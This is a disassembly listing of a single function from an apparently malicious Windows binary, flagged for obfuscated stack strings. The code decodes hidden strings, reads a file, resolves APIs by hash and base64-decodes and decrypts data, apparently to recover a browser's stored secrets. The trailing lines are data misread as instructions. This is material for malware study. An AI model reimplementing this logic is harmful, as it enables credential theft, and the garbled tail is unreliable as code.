Function at 0x42e19f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xdc
mov ebx, dword [0x454f24]
mov dword [esp + 8], 0xf4f092d
mov dword [esp + 0xc], 0x3720d7c
mov dword [esp + 0x10], 0x7670144
mov dword [esp + 0x14], 0x1b7b0570
mov dword [esp + 0x18], 0x1f1e193d
mov word [esp + 0x1c], 0
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x58]
cmp eax, 0x15
ja 0x42d52b
mov eax, dword [esp + 0x58]
movzx eax, byte [esp + eax + 8]
push dword [esp + 0x58]
push eax
call fcn.00430a20
add esp, 8
mov ecx, dword [esp + 0x58]
mov byte [esp + ecx + 8], al
inc dword [esp + 0x58]
mov eax, dword [esp + 0x58]
cmp eax, 0x16
jb 0x42d500
lea edi, [esp + 0x54]
lea esi, [esp + 8]
push edi
push 0
push 0
push 9
push esi
push 0
call ebx
mov ebx, dword [esp + 0x54]
test ebx, ebx
jns 0x42d54e
mov eax, 0xffffffff
jmp 0x42d551
lea eax, [ebx + ebx]
push eax
call fcn.0040c7b0
add esp, 4
mov dword [esp + 0x3c], eax
mov ebp, dword [0x454f24]
mov dword [esp + 8], 0xe9adeb8f
mov dword [esp + 0xc], 0xed7eef78
mov dword [esp + 0x10], 0xd175d3a8
mov dword [esp + 0x14], 0xd571d744
mov dword [esp + 0x18], 0xd9dadbbf
mov word [esp + 0x1c], 0
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x58]
cmp eax, 0x15
ja 0x42d5db
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x58]
movzx eax, byte [esp + eax + 8]
push dword [esp + 0x58]
push eax
call fcn.00430aa0
add esp, 8
mov ecx, dword [esp + 0x58]
mov byte [esp + ecx + 8], al
inc dword [esp + 0x58]
mov eax, dword [esp + 0x58]
cmp eax, 0x16
jb 0x42d5b0
push edi
push ebx
push dword [esp + 0x44]
push 9
push esi
push 0
call ebp
mov dword [esp + 8], 0xf1a50fc8
mov dword [esp + 0xc], 0xf557f365
mov dword [esp + 0x10], 0xf964f765
mov dword [esp + 0x14], 0xfdfafb5c
lea ebx, [esp + 0x18]
mov dword [esp + 0x18], 0
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x58]
cmp eax, 0x13
ja 0x42d65b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x58]
movzx eax, byte [esp + eax + 8]
push dword [esp + 0x58]
push eax
call fcn.00430b20
add esp, 8
mov ecx, dword [esp + 0x58]
mov byte [esp + ecx + 8], al
inc dword [esp + 0x58]
mov eax, dword [esp + 0x58]
cmp eax, 0x14
jb 0x42d630
lea esi, [esp + 0xcc]
lea eax, [esp + 8]
mov edi, esi
mov ecx, 4
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0xdc]
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov dword [esp + 8], 0x9f77995c
mov dword [esp + 0xc], 0xa3459d6b
mov dword [esp + 0x10], 0xa750a153
mov dword [esp + 0x14], 0xab6da540
mov dword [esp + 0x18], 0xaf5ca949
mov dword [esp + 0x1c], 0xb344ad4d
mov dword [esp + 0x20], 0xb7b6b149
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x58]
cmp eax, 0x1b
ja 0x42d6fb
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x58]
movzx eax, byte [esp + eax + 8]
push dword [esp + 0x58]
push eax
call fcn.00430b90
add esp, 8
mov ecx, dword [esp + 0x58]
mov byte [esp + ecx + 8], al
inc dword [esp + 0x58]
mov eax, dword [esp + 0x58]
cmp eax, 0x1c
jb 0x42d6d0
lea ebx, [esp + 0x58]
lea eax, [esp + 8]
mov edi, ebx
mov ecx, 7
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [esp + 0x74]
lea eax, [esp + 0x24]
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esp + 8], 0x893d8b50
mov dword [esp + 0xc], 0x853b8705
mov dword [esp + 0x10], 0x810c8335
mov dword [esp + 0x14], 0x9d4e9f3c
mov dword [esp + 0x18], 0x99449b30
lea ebp, [esp + 0x1c]
mov dword [esp + 0x1c], 0x9798
mov dword [esp + 0xa8], 0
mov eax, dword [esp + 0xa8]
cmp eax, 0x17
ja 0x42d7aa
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0xa8]
movzx eax, byte [esp + eax + 8]
push dword [esp + 0xa8]
push eax
call fcn.00430c10
add esp, 8
mov ecx, dword [esp + 0xa8]
mov byte [esp + ecx + 8], al
inc dword [esp + 0xa8]
mov eax, dword [esp + 0xa8]
cmp eax, 0x18
jb 0x42d770
lea eax, [esp + 0xa8]
lea edx, [esp + 8]
mov edi, eax
mov ecx, 5
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xbc]
mov ecx, 1
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov dword [esp + 0xc0], esi
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], eax
mov ebp, dword [esp + 0x3c]
mov eax, ebp
add eax, 2
mov dword [esp + 0x78], eax
xor ecx, ecx
xor eax, eax
mov dword [esp + 0x74], 0
cmp ecx, 0xc
setne al
xor ecx, ecx
jmp dword [eax*4 + 0x4513bc]
jmp dword [0x4513c4]
jmp dword [0x4514b0]
mov dword [esp + 0x94], ecx
mov eax, dword [esp + ecx + 0xc0]
mov esi, 0xfffffffe
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x42d850
mov dword [esp + 0x38], eax
mov edx, esi
sar edx, 1
mov eax, dword [esp + 0x54]
lea ecx, [edx + eax]
mov dword [esp + 0x44], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
jns 0x42d883
mov eax, 0xffffffff
push eax
call fcn.0040c7b0
add esp, 4
mov edi, eax
movzx eax, word [ebp]
mov dword [esp + 0x50], edi
test ax, ax
je 0x42d8c1
mov ecx, dword [esp + 0x78]
mov edi, dword [esp + 0x50]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42d8b0
mov word [edi], 0x5c
mov dword [esp + 8], 0x77a279dc
mov dword [esp + 0xc], 0x73cd75c7
mov dword [esp + 0x10], 0x4ffa71d1
mov dword [esp + 0x14], 0x4be54dac
mov dword [esp + 0x18], 0x47e749c4
mov dword [esp + 0x1c], 0x43ff45c8
mov dword [esp + 0x20], 0x4140
add edi, 2
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1b
ja 0x42d936
mov eax, dword [esp]
movzx eax, byte [esp + eax + 8]
push dword [esp]
push eax
call fcn.00430c80
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1c
jb 0x42d910
mov ecx, dword [esp + 0x38]
movzx eax, word [ecx]
test ax, ax
je 0x42d961
add ecx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42d950
mov word [edi], 0
movzx eax, word [esp + 8]
test ax, ax
je 0x42d991
lea ecx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42d980
mov word [edi], 0
lea eax, [esp + 0x88]
push 0x60
push 3
push 0x120089
push eax
mov edi, dword [esp + 0x60]
push edi
call fcn.004492a0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4513cc]
xor ebx, ebx
jmp dword [0x45145c]
lea eax, [esp + 0x84]
push 0
push eax
push dword [esp + 0x90]
call fcn.00449620
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x4513d4]
mov edi, dword [esp + 0x84]
lea eax, [edi + 1]
push eax
call fcn.0040c7b0
add esp, 4
mov ebp, eax
push 0
push edi
push eax
push dword [esp + 0x94]
call fcn.00449700
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x4513dc]
jmp dword [0x4513e4]
xor ebx, ebx
mov eax, dword [case.0x42d80b.8]
nop
nop
nop
jmp eax
jmp dword [0x451444]
mov edi, dword [esp + 0x88]
mov dword [esp], 0x4c4d4a4b
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 3
ja 0x42dac9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 8]
movzx eax, byte [esp + eax]
push dword [esp + 8]
push eax
call fcn.00430790
add esp, 8
mov ecx, dword [esp + 8]
mov byte [esp + ecx], al
inc dword [esp + 8]
mov eax, dword [esp + 8]
cmp eax, 4
jb 0x42daa0
mov eax, dword [0x454f28]
test eax, eax
je 0x42db00
mov ecx, dword [esp]
xor edx, edx
mov ebp, dword [0x454f2c]
nop
nop
nop
cmp dword [ebp + edx*8], 0x625b6034
je 0x42daf1
inc edx
cmp eax, edx
jne 0x42dae0
jmp 0x42db00
mov eax, dword [ebp + edx*8 + 4]
cmp eax, ecx
jne 0x42db3f
nop
nop
nop
nop
nop
nop
nop
mov ebp, dword [esp + 0x3c]
mov edi, dword [esp + 0x50]
jmp dword [0x45145c]
push edi
push 1
push dword [0x454f30]
push eax
call fcn.00445d10
add esp, 0x10
mov ebp, dword [esp + 0x3c]
mov edi, dword [esp + 0x50]
jmp dword [0x45145c]
xor ebx, ebx
mov ebp, dword [esp + 0x8c]
jmp dword [0x45141c]
push ecx
call fcn.0040c7c0
add esp, 4
push 0xe050b307
push dword [0x454f1c]
call fcn.004488c0
add esp, 8
push dword [esp + 0x9c]
call eax
jmp dword [0x45141c]
mov dword [esp + 0xa4], eax
push eax
call fcn.004044a0
add esp, 4
mov ebx, eax
mov dword [esp + 8], 0x686d7e7b
mov dword [esp + 0xc], 0x7772847a
mov dword [esp + 0x10], 0x60746432
mov dword [esp + 0x14], 0x6f6a8c72
mov dword [esp + 0x18], 0x607d7d7d
mov dword [esp + 0x1c], 0x129479
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x17
ja 0x42e216
mov eax, dword [esp]
movzx eax, byte [esp + eax + 8]
push dword [esp]
push eax
call fcn.00430d00
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 8], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x18
jb 0x42e1f0
lea eax, [esp + 8]
push eax
push ebx
call fcn.004045e0
add esp, 8
mov ebx, eax
mov edx, 0xffffffff
mov ecx, 0xfffffffd
mov eax, edx
add ecx, 3
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
jne 0x42e230
shr ecx, 2
movzx eax, byte [ebx + edx - 1]
cmp eax, 0x3d
je 0x42e251
cmp eax, 0x2e
jne 0x42e252
dec ecx
mov dword [esp + 0x8c], ebp
movzx eax, byte [ebx + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x4c], edx
je 0x42e26c
cmp eax, 0x2e
jne 0x42e26d
dec ecx
mov eax, ecx
and eax, 1
mov dword [esp + 0xa0], ecx
xor ecx, 1
lea eax, [ecx + eax*2]
push eax
call fcn.0040c7b0
add esp, 4
mov dword [esp + 0x48], eax
cmp dword [esp + 0x4c], 0
je 0x42e3a8
xor edi, edi
mov ebp, 2
mov dword [esp + 0x7c], ebx
jmp 0x42e2cb
lea eax, [ebp + 4]
add ebp, 2
mov edi, dword [esp + 0x80]
cmp ebp, edx
mov ebp, eax
mov ebx, dword [esp + 0x7c]
jae 0x42e3a8
movzx eax, byte [ebx + ebp - 2]
push eax
call fcn.00420a20
add esp, 4
mov ecx, ebx
mov ebx, eax
movzx eax, byte [ecx + ebp - 1]
push eax
call fcn.00420a20
mov edx, dword [esp + 0x50]
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
lea ecx, [edi + 1]
mov dword [esp + 0x80], ecx
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x90], edi
mov byte [ecx + edi], al
cmp ebp, edx
jae 0x42e2b0
mov eax, dword [esp + 0x7c]
movzx eax, byte [eax + ebp]
push eax
call fcn.00420a20
mov edx, dword [esp + 0x50]
add esp, 4
cmp al, 0x40
je 0x42e2b0
mov bl, al
shl bh, 4
xor al, 0xc0
mov ecx, ebx
or cl, 0x3c
and cl, al
shr cl, 2
add cl, bh
mov edi, dword [esp + 0x90]
lea eax, [edi + 2]
mov dword [esp + 0x80], eax
mov eax, dword [esp + 0x48]
mov byte [eax + edi + 1], cl
lea eax, [ebp + 1]
cmp eax, edx
jae 0x42e2b0
mov eax, dword [esp + 0x7c]
movzx eax, byte [eax + ebp + 1]
push eax
call fcn.00420a20
mov edx, dword [esp + 0x50]
add esp, 4
cmp al, 0x40
je 0x42e2b0
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x48]
mov edi, dword [esp + 0x90]
mov byte [ecx + edi + 2], al
add edi, 3
mov dword [esp + 0x80], edi
jmp 0x42e2b0
mov eax, dword [esp + 0xa0]
add eax, 0xfffffffb
mov dword [esp], eax
mov edi, dword [esp + 0x48]
mov eax, edi
add eax, 5
mov dword [esp + 4], eax
mov dword [esp + 0x98], 0
mov dword [esp + 0x9c], 0
push 0x6c625980
push dword [0x454f34]
call fcn.004488c0
add esp, 8
lea ecx, [esp + 0x98]
mov edx, esp
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4513fc]
lea eax, [esi + 0x10]
cmp dword [esp + 0x44], 0xfffffff8
mov ebp, dword [esp + 0x8c]
jge 0x42e426
mov eax, 0xffffffff
push eax
call fcn.0040c7b0
add esp, 4
mov ebx, eax
mov dword [esp + 8], 0x335e3107
mov dword [esp + 0xc], 0x3f083d4c
mov dword [esp + 0x10], 0x3b423944
mov dword [esp + 0x14], 0x47464538
mov dword [esp + 0x40], 0
mov eax, dword [esp + 0x40]
cmp eax, 0xf
ja 0x42e49b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x40]
movzx eax, byte [esp + eax + 8]
push dword [esp + 0x40]
push eax
call fcn.00430d70
add esp, 8
mov ecx, dword [esp + 0x40]
mov byte [esp + ecx + 8], al
inc dword [esp + 0x40]
mov eax, dword [esp + 0x40]
cmp eax, 0x10
jb 0x42e470
mov eax, dword [esp + 0x38]
movzx ecx, word [eax]
mov eax, ebx
test cx, cx
je 0x42e4d1
mov eax, dword [esp + 0x38]
lea edx, [eax + 2]
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e4c0
mov word [eax], 0
movzx ecx, word [esp + 8]
test cx, cx
je 0x42e501
lea edx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e4f0
mov word [eax], 0
mov ecx, dword [esp + 0xf0]
push dword [esp + 0x98]
push dword [esp + 0xa0]
push ebx
call fcn.0040d370
mov ecx, ebx
mov ebx, eax
jmp dword [0x451414]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x4513f4]
mov eax, dword [esp + 0x84]
mov byte [ebp + eax], 0
push ebp
call fcn.00403b30
add esp, 4
mov eax, dword [esp + 0x84]
mov byte [ebp + eax], 0
push ebp
call fcn.00403b30
add esp, 4
jmp dword [0x4513f0]
mov eax, dword [esp + 0x74]
and al, 1
add esp, 0xdc
pop esi
pop edi
pop ebx
pop ebp
ret
int3
adc ah, dl
inc edx
add byte [edx], dl
aam 0x42
add byte [eax], dl
aam 0x42
add byte [edx], dl
fadd dword [edx]
cmp eax, ebx
inc edx
add byte [eax], bl
fadd dword [edx]
imul esp, ebp, 0xd9c00042
inc edx
add al, dl
fld dword [edx]
jb 0x4513b0
inc edx
add bh, dh
fld dword [edx]
push edx
fiadd dword [edx]
sub eax, 0x4e0042da
in eax, 66
add byte [ecx], bh
in eax, 0x42
add byte [ecx], bh
in eax, 0x42
add byte [ebx], ch
in eax, 0x42
add byte [esi - 0x26], al
inc edx
add byte [edi - 0x1fffbd1f], bl
loopne 0x451441
add byte [eax], dl
in al, 0x42
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx + 0x480042e5], dl
loope 0x451459
add byte [ecx - 0x1f], dl
inc edx
add byte [ebx - 0x1f], dh
inc edx
add byte [ecx], dh
inc edx
add byte [eax + 0x790042e1], dl
loope 0x45146d
jns 0x45140b
inc edx
add byte [eax + 0x340042e1], dl
loope 0x451475
add byte [eax - 0x26], dl
inc edx
add byte [eax - 0x26], dl
inc edx
add byte [edx - 0x26], dl
inc edx
add byte [eax - 0x26], dl
inc edx
add byte [eax - 0x26], bl
inc edx
add byte [ecx - 0x26], ah
inc edx
add byte [eax - 0x26], dh
fiadd dword [edx]
pop eax
fiadd dword [edx]
popal
fiadd dword [edx]
jo 0x451428
inc edx
add byte [eax - 0x26], dh
inc edx
add byte [edx - 0x26], dh
inc edx
add byte [eax - 0x26], dh
inc edx
add byte [esi], cl
fiadd dword [edx]
push cs
fild dword [edx]
das
fild dword [edx]
adc al, 0xdb
inc edx
add byte [eax], ah
fild dword [edx]
das
fild dword [edx]
and bl, bl
inc edx
add byte [eax], ah
fadd dword [edx]
cmp ebx, ebx
inc edx
add byte [eax - 0x25], ah
inc edx
add byte [edi], dl
fiadd word [edx]
pushal
fild dword [edx]
int 0xe0
inc edx
add byte [eax - 0x26], al
inc edx
add byte [eax], cl
loope 0x4514d5
add cl, bh
loopne 0x4514d9
add al, dh
loopne 0x4514dd
add al, dh
loopne 0x4514e1
add byte [eax], cl
loope 0x4514e5
add byte [edx], dl
loope 0x4514e9
add byte [eax], ah
fadd dword [edx]
jp 0x451493
inc edx
add byte [ebx + 0x690042e5], al
in eax, 0x42
add byte [edx - 0x1b], bh
inc edx
add byte [ebx - 0x5cffbd19], bl
out 0x42, eax
add byte [ebx + 0x140042e7], ah
out dx, eax
out dx, al